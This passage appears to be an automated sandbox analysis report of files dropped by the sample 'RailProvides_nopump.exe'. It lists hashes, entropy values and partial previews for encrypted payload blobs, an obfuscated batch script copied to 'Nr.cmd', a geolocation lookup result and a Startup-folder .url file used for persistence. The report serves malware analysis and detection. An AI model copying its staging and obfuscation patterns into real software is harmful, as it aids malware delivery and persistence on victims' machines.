Preview:	.j.....I......u0..$.I....Q..\|....L..t..I8.A..\|....D..t..@8.@...j..E.PW....I....u:..$.I....Q..\|....L..t..I8.A..\|....D..t..@8W.@....(.I..X....u.W....I...t8..$.I....Q..\|....L..t..I8.A..\|....D..t..@8W.@....(.I.....u.........F......>_^3.[....U...$VW...M..&....E..@..0....p...N..U.......u.....I...u=..$.I....Q..\|:...L:.t..I8.A..\|:...D:.t..@8.M.h..I..@....M...L.@.j..0.E.P.L.......u.....I.P.M......M.......U.M.......M..E.P.\...M.......M......_3.^....U...0...SVW.}...G........W...]..J......M...h..I..9M.....u....H..\|1...D1.t..@8.H...\|1...D1.t..@8.@...!...j...t...........PS.............G.P.V...YP.M...#...].j.WS.u.....I..............tw.E..x..r..@..H..+.....uIS..;..q..Y;.u:S.M...#...M......U.M.......M..E.P.}[...M......M......V.M.WSW....P.........@..j.j..H....[......$.I....I..\|1...T1.t..R8.B..\|1...D1.t..@8.@...E..(.u.j.P.(...S.i......_^3.[....U..SV.u...W.F....Q....V....J.......N...I..o...j.PRW....I..u......3....F........u3.&...$.I....I..\|....T..t..R8.B..\|....D..t..@8.@.....>_^3.[]...U

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	5.019205124979377
Encrypted:	false
SSDEEP:	12:tkluWJmnd6UGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlupdVauKyGX85jvXhNlT3/7AcV9Wro
MD5:	B62617530A8532F9AECAA939B6AB93BB
SHA1:	E4DE9E9838052597EB2A5B363654C737BA1E6A66
SHA-256:	508F952EF83C41861ECD44FB821F7BB73535BFF89F54D54C3549127DCA004E70
SHA-512:	A0B385593B721313130CF14182F3B6EE5FF29D2A36FED99139FA2EE838002DFEEC83285DEDEAE437A53D053FCC631AEAD001D3E804386211BBA2F174134EA70D
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Indonesia

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	6.557400918137722
Encrypted:	false
SSDEEP:	1536:D7nts/M26N7oKzYkBvRmLORuCYm9PrpmESvn+pqFqaynBk:nt8T6pUkBJR8CThpmESv+AqVnBk
MD5:	15BE985957A02EE4B7D96A3C52FF0016
SHA1:	B3819CED551350AFD965B7CA5D7CF91AE5C1A83C
SHA-256:	E223F63B343F2BB15155825BA679F91FCAF2DB9E359988B7ABD24202EBEC2AFF
SHA-512:	9A56A0EBAA86F59F56F92937AA724FC1BFD1DBFFDE430E9D86598C94D8ED958ABA82021AEC758A22786746F807DCEBE99974EFF6975EFE8EFD68CBFBC85D030C
Malicious:	false
Preview:	.tM...u.S..S..Y.x.3.PPPPWSPP....I..E...t';.}...VP.u...Y..3.PP.u.VWSPP....I...^..3._[..SW3...PPj.SPh........I.....t-V3.j.Z.........Q.#...YW..Vj.Sj.h........I...^_[.U..E....t....uA..3M..(.=.3M..t1.}..t+.=.3M..t...3M..H......3M..u..u..u..........2.]...U..QQ.E..e...E...y..e...E...3M.P.....u..M.........U..Q.e...=.3M..t..=.3M..t...3M..H......3M..E.P.u........t.......E...3M.P.u...............SV..3.W8^.t..N..y...t.Q.:\...~..^.8^.t......N..y...t.Q..\...~..^..._^[.U..VW......t..U..w......B..F..G...1j........E.Y.&..H..N...y..f...0..V.C....G..F..w..._^]...U....SV..M.W3..~..~..A..F...t....A..F..A..F.............3..j Z.........3...........P.$...Y..t$......E...t......\|..... ...u.E.3.....F.9>~[.]...E..K..V.....M.U......Z..A..B..A..B..A..].;.].t..M.P......M.U..A.G.B..E... .E.;>\|._..^[....V..N..{.....^.......U..V..W3.G.N...;.~!Hj....*...j..8.F..F......G...YY....f.E..~._f..3..f.H...^]...Vh..F..q..6j Q.a..........QV....YY..^...U..M...u.3..%.E.V.u..;.}.....t.+........t.+...^]...U..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Instantly

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	6.7085176792029815
Encrypted:	false
SSDEEP:	1536:Ph+I+FrbCyI7P4Cxi8q0vQEcmFdni8yDGVFE5gOHu1CwCMIBZwneAJu7f:PAU4CE0Imbi80PtCZEz
MD5:	7FC8AB46CD562FFA0E11F3A308E63FA7
SHA1:	DD205EA501D6E04EF3217E2D6488DDB6D25F4738
SHA-256:	5F9C0A68B1C7EECA4C8DBEA2F14439980ACE94452C6C2A9D7793A09687A06D32
SHA-512:	25EF22E2B3D27198C37E22DFCD783EE5309195E347C3CC44E23E5C1D4CB58442F9BF7930E810BE0E5A93DD6F28797C4F366861A0188B5902C7E062D11191599C
Malicious:	false
Preview:	.F..E.9E.rf.}..u,j.Xj.f.E.E.Pj..E.P.u.....I...t8.}..r:.F..F.;}........).U.......M..D.......M..L.-..F.....0.I....M..._^3.[.....]..U..QSV.u.3.W.}....F..F..E...E.;.s?...S.}...Yf;.u(.F.....u.j.[S.e...Yf;.u..F..F....;}.r.....0.I..._..^[..]..U..QV.u.V.J...Y..u.2..XW....?...k.0.....M..D0(.t.......@L.......u......M..\|0).u.2....E.P.....M..t0.....I......_^..]..U.............L.3.E..M........?k.0S.]......M.V.u.W.L...E..&...f...f...............e......;.s...C<.u..F....G...E.G;.......r......+.......j.PW......PQ....I...t........F.;.r.............;.r.....0.I....M..._^3.[......]..U.............L.3.E..M........?k.0S.]......M.V.u.W.L...E........3.........V..V..u......;.s+.........u..F..j.Zf.....f...E....;.......r......+.......j.P.........WPQ....I...t........F.;.r.............;.r.....0.I....M..._^3.[.......]..U.............L.3.E..M........?k.0SV.....M.3.u.W.D...M..........E......^........^.;...............P...;.s!.........u.j.Zf.....f......M.;.r.SShU.........Q..P...+...P..PSh.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Led

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	6.70232349488191
Encrypted:	false
SSDEEP:	3072:4nVIPPBxT/sZydTmRxlHS3NxrHSBRtNPnj0nEoXnmowS2u5hVOoQb:4VIPPL/sZ7HS3zcNPj0nEo3tb2D
MD5:	C038EEFE422386831ACF8D9D6898D464
SHA1:	9CF7F3E9A50218D5E03617B793EAE447645E6A90
SHA-256:	1432A3A16C1D41EBB71D0A5CC03ED80A93817E6295B82FC63A1EC39D9320C701
SHA-512:	8327453C75ECC04DB02A6C1DC38B38EB486F4D773E2025097E4D6B6F8E78655A25B7FA3528E2E66381EF80175182F7C1B89A7E8DD63A655D8ECEF5AB1DDE5EA1
Malicious:	false
Preview:	J..........t.......u5.u../ ..w.tk........)w......E..$...E..._ ..tJ...0..tB..3............L.........E.,K.......K..<. cL.....;M...d....E....E.}....R....M.@.E.;............}..E..............;~\|.............}....}.t...%....=....u .......................}.................L.............M.,K.......K.... cL....t....t..._t.3........;E........E.M.@.E.;...X.........}..E..............;~\|.............}...}..M.t3...M.%....=....u"............%...............}..M.E....@.K....@.K.9U.r..@.;.t'..;.s.}.........E.M.@.E.;...s....<....}..........}..E..............;~\|..%..........}....}.t...%....=....u .............................}...$t&..@t!..`t.......r.......v.......s.3........;E...9....E.M.@.E.;...m.................}..E..........]....F\|.E.;...l..........}....}...E.t6.E..%....=....u%......................}.....E.......U.............L.........E.,K.......K..F\|.M.;..........E.}..........t-..%....=....u...G.......%....................U.............L.........E.,K.......K............1L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Leisure

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	7.997097243867807
Encrypted:	true
SSDEEP:	1536:7aUiJuOem/qCP8QNYVGuid4T3D91PkL2qW4zV2G4Jb:Ccm/qCP8kYuCB1bT4zV2rt
MD5:	838511D6727BE6237C1E4CD26A0885DE
SHA1:	7A9FFA35532A5817F04CB48C9E154B5C9DE74623
SHA-256:	D36E240FA73FFB483BBCEC5593B95B924D219EE1A95E6541E0CC3FEE0FD5ECB7
SHA-512:	AC880DA501150B974DF9B42AEF6A63346B6B5036A893A09FDD05D0FECB9FC655D3E76D19EF5DB48DFD54457D5FC514499526F476F595972E970ED9953842C029
Malicious:	false
Preview:	.~. ....)........5a.<......E.Ft.q/.....0....U.......d...l..4MQnM.o.`.bL..s./.<;.l..l.;aG._-.0.."/B.6G/....E!........R.C>N.%...D..y2...z.!....z...i......eT....3....e.z;..1........,..65..I b0n.U....B.#<.5..Q=U..%.%.7a[.\|....`..o-s....QW%....bx.^.....5..<.[p.i.(&y...m.H..qS:.pR.....!..P...o.].]o./..Yb0.H8?A.....V.n.1...%.>..'.......j:<;.?._....u.o..5..g]S.nT...J.K<&..yC..&xn.-..r.7..!.4\..aR."Nh+.........Y..'...I..(r..-..p=..vn...lA..Z7.....Y1.......'.3T.....g..p...."N....w?Y.;.......x}.........\R{........b...........H...o....%..=."....\|>j.f....FA...".z.qt...}...4.q3..b...K....o...-?t0.(....~.......,.C.3#7N.....k..p......l9P.b=qo...y$=P...%s.^.....[w...%.41..X.(.(:.a......_..t=e...$.I...?.!.2..m.e...>.''3..L..H.... .k..4.!.p.L....u..#......\...j......GF..+..K.u.J9&........~CUw..........m.q$V..._..n..9.J{.+f...I.x.z]%~.7A*..rF`......>.w8..z.....x..>X.#5.RO.F.e.B.xpw...q^...2<.71......../c.}.........2.k.^=..Pc...~.e.m.^...s.j..Kd...._.<.7...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Math

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	7.997538946660952
Encrypted:	true
SSDEEP:	1536:bA42RuQjUqaBXOkQHtReXxQiIjiDdmfLyiEmSZBhqjM1VOUWLAGuFIs:bAnRfjSKtIFELC5ZBhMMGuFIs
MD5:	7B5C9E82025D184E64A7413174CE1A1C
SHA1:	C552965CE73D43225541932D65C3B4B6342A70E4
SHA-256:	7A524BC28CF358088006F8F852D7AE59F5A143D8754E47FFE4A8F31533CF315E
SHA-512:	71214F0379E8104C198B16A304D593032264435DD2FE4A5383D3F39FA496D18A6B7EC770A90542028B71C7A50611313AE47234C5EA0A0FB81724557941B12EB4
Malicious:	false
Preview:	/@.......S7....S......L.<.s....0..8....v...$7.9...H..3..r.>:q.w.].B.#v...CU....\..-....,...Y..FUp.RYd...$e...O.7...9/._.J.....u>...K..8@k.......V..y.l.._.W&.Ix.-.}@tQ.~.UT.I.n.O..b..O ..]...a....fN.d..O.[.t.v...1..gt.u...$......`.Q...n;mds...'.o..s..N......NhO.p......a.k.....h.7r..w...FP.yO..2..%?.=.s.7#RA/..Y.f.......u.....JM..........:eR3.V...&..\|}.F.v.m....@...=...V..%.I.vX.x .Iv....p$.+dZ...T...4...(G...ez.O..%...8$;n. ..r7.V3.!...y...t.....Yz.<.??..W...W....tg..>....a.d..}.N.Jp...F.....!c.H.0,j..'#T.4:..q...Lt...n.........Kz.......G.'.)..x..g..."b.W.v\...v.`.\.V...W......~D.....0.(z.H.Y....T....}.`..<..%.Th........!....7.....A+q...?..l.MEHT.2..HW.....g.&.k........6GA.5.^...k..Tv9+k...24....t....5'.K.]..=l{.`..S.^6.<...!.Y.q.tmCYZ...........@O@.U.....qJ9.v^.`=....4aw...t..._ .U.FP..p,..[..7....F..'.\.R}6pI.$.'....Q.........../.H.....p.M9..Y..A!_..i......0.%......3xf..h5.g ......g.\Q.-1.T"...Ta.....]AC..._.2=n.3.`.r%....~.S.f

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Measurement

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1237
Entropy (8bit):	3.752009061763574
Encrypted:	false
SSDEEP:	12:eyGSG+fCtJfjEvadTfA43k66h1ICdC3v6clC1zgNu3NIhfnQARahmv6+VQ:eyGS9PvCA433C+sCNC1skNkvQfhSg
MD5:	47FE88841F7CEA67286B6BB812A7A09F
SHA1:	950297A08CADDC4F0FB20B0D84539DE2B8DA36E1
SHA-256:	33F5D8B8FB7CD67BB7C1805CE89BFC16C9F4BBFC0342D31C9946511FDC4B115C
SHA-512:	C200196C26738DFA7013356656D281284928E256E423B11F679A71C3F8E75F04927474CC4AF853C2FE351F6051B084A902FD03D3106E14062634251EECFFF73F
Malicious:	false
Preview:	Korea........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Missed

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	5.9158452815608795
Encrypted:	false
SSDEEP:	1536:qHsWccd0vtmgMbFuz08QuklMBNIimuzaAwus5:qLeAg0Fuz08XvBNbjaAts5
MD5:	E6FE42ADC3082D12E845756426492B6E
SHA1:	E1170EE049AB607162D1495B625AA74221AA8585
SHA-256:	BFEA812CBDAFE08DF94D9C13CC6364F3BE76793E4676488338A17E2866BF8DFD
SHA-512:	9E994CDCAF75089D9468BCC367FD9717F8F2F1FE10B181F0616C712A5674CACC7601421B72B1E50336F222CAAB392F09DB984C4671F5CAB8C1519102F4E4D6EC
Malicious:	false
Preview:	...?5.h!.....?.......?.......@.........................?..5.h!....>@...............................@................c.c.s...U.T.F.-.8...U.T.F.-.1.6.L.E.U.N.I.C.O.D.E.................................................................................8C......8C......0<......0<..+eG.W@..+eG.W@....B..?....B..?:;.....=:;.....=...t..?Z.fUUU.?...&WU.?{......?.......?.........9..B..@...2b....................................0<..0<.dW..dW................................@.......................................B.......B.................8..B..?0g.W..=.......................................?.......?......................0C......0C................................U....I.?.. ....u}.M.U..UUUUU.?Sz.....?........................................-DT.!.?.-DT.!..RUUUUU.?........v.F.$I.?.........3Y.E.?#Y...q...n.....?..;.9....../I.?hK.........d...?81.U.......H!G.?..#.$.....0\|.f?.K.RVn...TUUUU.?........~I..$I.?.g......HB.;E.?.....q.....{.?.x...................................?...... @...... @.......?

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Next

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.9979666143694095
Encrypted:	true
SSDEEP:	1536:WdRAC50xWY7+r0weiORc8vTDzcvmgmQj21JVWAQfqB+ILeLBuQi2FUqAqT3Y4+/u:GvY7+rJenS8vTvcvHj2zVWxfq5Uu5pqn
MD5:	52C875EB8A3EBC4643094465CDBB08D0
SHA1:	013139AD7BBE0E2522CCC69EE890E63D8CA3FF3C
SHA-256:	A363E5C9DD6872D625FDF1A6E957D0E08B4605E97D8130B0175A6889BE5196EC
SHA-512:	97A6489038FF72109EA847A94C55DB9798F165E3D570F8677C6139C930DC67420BA783BE2F3939B74676C673D6AAA7EF2CAB107DBF7908A5CE228916FCDAAB0B
Malicious:	false
Preview:	....].Z...%.o....."7.;?..F.....x..=.[......F..&.P.P.f.1.xi$!..H..9..d$...E<.....t.3...........adW2.P.),CG.!f9.x:.."l..C'.......i.......;R........7...m.`..X.mH..T..].Te..c6...........E..u....8..k.#.ac...)..E.N:....B.NX..l..e.."...ytLW.;T.b./w...1TI)..<z."LH%+....R...N..v2...A.s...~.&=..4.....p..,.[v..#..F..-..._.. G,......HA.X.T...U.O[..J...h\|...qX.....i.[a+X........Z..Q..........'Y...J."..:........W.m...e..+....?8/.z.._.........,.N....r.V/Q..N.z14.9....I..B... .S.7...."...'AC..)........Y.]^%r.TPd..k...'b..d.B.:.3.tX4..o%.p ...wNG2^/..i.>..E...^m...\|X...RY.BI.q0.......Kdz.....-.l..b....].y..'..j.C...>...>0.0.[.!.xSk..;7V.......%.O..P...C...'O.sjT..,.S..'-.f..t6.'s.N.Z.^.{\|.8.L.o;,.V...vC...B.p.X(T%..q..T..z..........M.2.....?.MF.........sJ...8.....fp.\....^......."...6 ..Mw... k..v-.....B..$....E.ndEc...."...%...Swiltb....R.....^M../.........@6$c}.K..gp.R.O....s..E.$.d...r;....k.gdK2.(IG[..I...?.v.tfJ..9....+..J.....g.....g.WK.....\

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Nr

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	ASCII text, with very long lines (975), with CRLF line terminators
Category:	dropped
Size (bytes):	23449
Entropy (8bit):	5.134148367041093
Encrypted:	false
SSDEEP:	384:b5EawfiYUKjpwVHqyl4PS5Riya68+DsfBL6pbHuwBl60YuyoVDKK3utLK5u+u0EC:bGawfr9Yxbriya68+YQZHuoE0Yxo73e+
MD5:	9EF6EFA272560F1DEE8923508DAFE2C9
SHA1:	7E6572FA616E8FE8AB67D2518F8685EB01F46923
SHA-256:	3B887BAB036D30A1A4FB5C2C6B828F5EF3D8D5C1FF8D4147ED647ACB51AC808A
SHA-512:	D17464F391FFC0CDB60D5A5669779343C4363130BC31E3902512ECEB5A139454992C00D1D8A9AA5D0BF142B904059E5F90A8804A1D2406FF398D893EA5804CF4
Malicious:	false
Preview:	Set Plug=4..ZQrEf-Bdsm-Janet-Dans-Genres-Census-Strips-Japan-Arrest-..wCAHostels-Incentives-Resolutions-Cave-Prefix-..QbtFancy-Biodiversity-..zLPetite-Holdem-Pam-Francis-Exchange-..CDeOffers-..iQSi-Sexuality-Sisters-..mTSPsychological-Changes-..ZhUgItself-Reverse-..MFVChips-Universities-..pyGMExample-Duncan-Vermont-Literally-Eh-Corresponding-..Set Catherine=9..QdHDivided-Onion-Treatment-Dan-..AtzaAttorneys-Participation-Miracle-Divine-Strongly-..YoRepeat-..TxVSFun-Counted-Transport-Miss-Settle-Receptors-Vulnerable-Distinguished-..yrpZStood-Isp-Supplies-Punch-Wayne-Ventures-..VcHas-Personalized-Encouraging-Thereof-..xkqAsthma-Campaigns-Taxi-Info-..KsJfRequirements-Cam-Says-Coast-Geo-..Set Diagnosis=J..KuSteering-Micro-Louisiana-Sur-..WnmrCorn-Producer-Perfume-Units-Releases-..LCCulture-Corruption-Wives-Departments-Hd-Autos-Electoral-Knowing-Hardwood-..WGNiBoolean-..lRrCPortraits-Desktops-Monthly-Weather-Fioricet-Targets-Conditions-Fox-R-..GMCenturies-Suit-Exchange-Buck-Sep-Inn-Hugo-As-R

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Nr.cmd (copy)

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (975), with CRLF line terminators
Category:	dropped
Size (bytes):	23449
Entropy (8bit):	5.134148367041093
Encrypted:	false
SSDEEP:	384:b5EawfiYUKjpwVHqyl4PS5Riya68+DsfBL6pbHuwBl60YuyoVDKK3utLK5u+u0EC:bGawfr9Yxbriya68+YQZHuoE0Yxo73e+
MD5:	9EF6EFA272560F1DEE8923508DAFE2C9
SHA1:	7E6572FA616E8FE8AB67D2518F8685EB01F46923
SHA-256:	3B887BAB036D30A1A4FB5C2C6B828F5EF3D8D5C1FF8D4147ED647ACB51AC808A
SHA-512:	D17464F391FFC0CDB60D5A5669779343C4363130BC31E3902512ECEB5A139454992C00D1D8A9AA5D0BF142B904059E5F90A8804A1D2406FF398D893EA5804CF4
Malicious:	false
Preview:	Set Plug=4..ZQrEf-Bdsm-Janet-Dans-Genres-Census-Strips-Japan-Arrest-..wCAHostels-Incentives-Resolutions-Cave-Prefix-..QbtFancy-Biodiversity-..zLPetite-Holdem-Pam-Francis-Exchange-..CDeOffers-..iQSi-Sexuality-Sisters-..mTSPsychological-Changes-..ZhUgItself-Reverse-..MFVChips-Universities-..pyGMExample-Duncan-Vermont-Literally-Eh-Corresponding-..Set Catherine=9..QdHDivided-Onion-Treatment-Dan-..AtzaAttorneys-Participation-Miracle-Divine-Strongly-..YoRepeat-..TxVSFun-Counted-Transport-Miss-Settle-Receptors-Vulnerable-Distinguished-..yrpZStood-Isp-Supplies-Punch-Wayne-Ventures-..VcHas-Personalized-Encouraging-Thereof-..xkqAsthma-Campaigns-Taxi-Info-..KsJfRequirements-Cam-Says-Coast-Geo-..Set Diagnosis=J..KuSteering-Micro-Louisiana-Sur-..WnmrCorn-Producer-Perfume-Units-Releases-..LCCulture-Corruption-Wives-Departments-Hd-Autos-Electoral-Knowing-Hardwood-..WGNiBoolean-..lRrCPortraits-Desktops-Monthly-Weather-Fioricet-Targets-Conditions-Fox-R-..GMCenturies-Suit-Exchange-Buck-Sep-Inn-Hugo-As-R

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Protocol

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	43912
Entropy (8bit):	7.0754478586730984
Encrypted:	false
SSDEEP:	768:tBGmd9OTGQ1Dv7sMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:tBGmdATGODv7xvTphAiPChgZ2kOE6
MD5:	28E6332970BFF06A0431BFEFBCD59462
SHA1:	20902CDBF1A8D4DC081ADB967692C0C4ADD030BC
SHA-256:	85C250563E37692A5A0188EAC2EE3E27D6A7DAB102E0200DF20D027B33DE8E91
SHA-512:	CB1FB1F5A97E6A4F790D61E6964FFA4967591946DC03C639E944455DE893070547DA9B5401952DD5FA93FF66CF5F66F7A15F04913C41F4514A7DE067C8E6F60C
Malicious:	false
Preview:	..].........`...]...]...]...........0................]...]...]...]...]...]...]...]....................................p...]...]...]...]...p...................................................................................................0.........................0......................................................................................00......h..... ....................(.....00............ ....................h........... .A?....00.... ..%.... .... ............. .h...........(....... ...................................z`..y_..M,..6...).......,...:...nnn.jb..ZF..F).._@..9...eee..................................................................................................................................................................7............................................(.........(....... ...................................z`..y_..M,..6...).......,...:...nnn.jb..ZF..F).._@..9...eee.................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Realm

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	data
Category:	dropped
Size (bytes):	42495
Entropy (8bit):	7.994847286020057
Encrypted:	true
SSDEEP:	768:0SLfZMdEvp3jxmff02Y0Vo91+u08R48OcPk4h+ZnWlJcCQbem8OU3VOmWZ:bZg02tV21q1P4h3wHAFOmWZ
MD5:	062E20D07FE052044D9339A8B3F1CB38
SHA1:	5428326E6D395EEBABEB3FFB1972AE6A8C3DA8AE
SHA-256:	84DB270DF2972367E799A4F919E5033475A5395B9AD59F50456E340A980B693A
SHA-512:	2EE25F17BB5BE528ABD2CE9FE4877BFA58B2D30A9503D22B31DD16C80A7B248D14142AAB42ACFFD0A069975490CF370435310E08187311365136680657D3BDF1
Malicious:	false
Preview:	.M<..l.v.;. FB.4.h{..I.....jo_..~6s..7..bM.}..V.&.o_Y..k..`.x..q...H....6u.`T."....t.v..D.d\tv..J............{.'....S..)..u.nCb.>.0g.uh'.A4.&#o..J..w...g.......eh.K.z...D)78.6.H.S..aP.]...\|.....f...zDnlM3.......G\.M...3T..Ow.....z-3...Z,..L...k.\@....43.....j... .$r0H........+.....}..o#.h....t.L.U.X.).t....]&..@...I..".it...4..p].F.(,O.".{.>..s-._$...(.%ZKG.o.6xr\|....8.Y...%..J.0.I...P....Io.....1;Z.u..uZ.e..Jr....$.I.{.W..l.....d.@C.`+L. .A.}W..d.X.c..)a.&.P.9 Y....R.R...?o..>......GX.D..i.{.m.?>..<..W+..s8.uK....D...H....Vk.la.X...w..D....t..k.HW....OA....~dU\|^DC....D..>...{.t8,o....l.q.nXu.]=4...K.@[?wpn..nY...Q...A.$..=@G....J.O..H.~..:i....!...w..A=".\|.z.jcm........4T...o.,...c1~..B....Yz...8.5qu.<....H..&....[.n..3.=...-l6Z..s...i,0.......T.{r...F.":. .......j.r-j'3.!....=..iE.oJ.^0;....q/z.]..u"I..X..d..m..Z..L...x....<..g.$...s.*......)..[G.......6.".....f.5.@{..!.+j..yf..iz...=...V.d........6...k.uE]6....Q...mV.i.FU.......v.w..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Substantial

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	data
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	7.996685518527556
Encrypted:	true
SSDEEP:	1536:Kftiu0ideTjMGF6+YCYNRbYPUU1gqE1oe6kWjlu:958eTN6rCeYPz1gMeClu
MD5:	734A793F9424DE731EEE480B610E0257
SHA1:	DD2073F71258FC036517ED503B3F85FD8ECDFDA6
SHA-256:	0915FFDD69CF4511B586769737D54C9FF5B53EDA730ECA7A4C15C5FF709315EC
SHA-512:	194915FEEFA2E7D04F0683FD5AF0F37FC550F1A8F4883D80D4CE0E4B6E4091BD9049A52E0FB3E5D3DB872B711431E1D5E7800AA206E3B5654DFD1266FB452335
Malicious:	false
Preview:	\|U.A&..).?.<.`...D0.3.!=H..Id.,....@r...X...{P.@O.^.G..i.N.d.;k.GjcuuwC.h....E%t.Z..:...T:.s"..',...<.."(._.zk`..\|.U.........L]....{.:.4.....z.!...<..m.3.3..lK..E.u..-..#S.l8.F.G.....B .h.v..99.6P;..a..O.T..eK...q.j:.4...F\B>c.>r{...4..&U......./.qH...@..U..>...6.B...(d.8......`.L.N......r4.e...fp..X.....w....[K.g.\|....om.,.z.Q...fdC..s..n.h...{F.h...,.j].z..?.^.Y.::.-+8....}W.....m..h.Q..Vo..1.g....M......i...R.v3.i29jdc...3\[:..r@.TbPN....pL..Xc.6/T..v..n_..0[........o....TE.`S...N....Kj6hamK...o.0_.H$..... .!a..?u.;.=..C..xp..[.s........O..b.H\|....96h..V....??%......9.8.)..*.4L..J..R...9%..O.'..O= a.6..K.o.......}..F....M5e.....8.p.....kqq...eL.u%.....6.66M'n.Uz.....(...?vz.,.2VB'.....:h.#o.8..~..@.6.?m..5.....8....pFX$..M8.%q......`s...y.Nudh.........R...9W[..>%.6O.X.....G.....@...$../.<j.t2.O@r..x.{._.....c!....d%.".y....I.8I./........'q.F....@.+..h..c....j.x.m..M.q.).].c......q.o...ahn..c.-a......Y..+^.G....@.8.....;H..X..t

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Undefined

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.996945320826708
Encrypted:	true
SSDEEP:	1536:9bqjXKdCr6Qw/ljXmAZUNbHaQPc0osgAuB6mrQjh4GVnY4t8PwMU:9OadCretrniNX1osgAGrQh4GVY4ePwMU
MD5:	10CF860D6ED7F8B77D7F02A407DDDE2C
SHA1:	42C54FF8B32BD09B583E544837A65248AF7B60AB
SHA-256:	A4E09DE3E94F24B4D2D780667569166F242486A7912706A58AB32CF88F547069
SHA-512:	355179700261EE76D67CEFCC27A120CA636278636420DF8D5CCE965055CC05F5249F86230A4C1695FCD3DB4A9B91CFD0D1AF5E6723F3A9B396DB1F4B70EC0052
Malicious:	false
Preview:	>.m....\qG..........h......y(..].....b8.Bt>f)iW/m..'...=.~Z......?......n.'..1M..w.D.9. .u.y.Ta+...$..Q.v..8........O..X..K.W.....x.".E.."g....9.fk.#.=.....:.OB..7..Tf.4...1AK..}..Y..?..)...V..Jr.v...9...!.2..i.B.!....ji..&.e...Q...;..k..U11.ov..I.....{q.\.T&.#..r.9.(v-r../....}.T......f..J..%.\|u...A..&...S[s....4.j$P..PV..M..s.739$...}..W{.f..&....A..h.....Ye.v......!.+.F.E.1.e...c.....i....D..n.&..g.d....Hx\....b.......N..0.^..O...@j....'..Z.~......w}....g...c....V..b......t..%.....].`@e.`...._......vX.A._....?...Pp.DG.7m.R..4G3@....uy...;L'..II{....M...Fv.[..<.Vm".....P.w.\......%.kY.^.L[..h.s..`..E.>....g..^.. 8...#.[HY@.8.......N.7...m....T...<."}H..3.!.9N$..,.bF.@.......nkP.8.R.-J.~K..<.,...f.vL..........YPA...LHl5\..H....c..G."h..s..X..X.......8...U....,..s`.i......E...o.C'.&+.Lb.&......[t1..>..`t......&`CE.9=..m4..3f\|.Y@X..,.u.C.o~....L.E....2.K..}..;....e....w...U...L...7#.\|..`5g.x<....../.]^.j.,y.#W.....B\.y

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url

Process:	C:\Windows\SysWOW64\cmd.exe
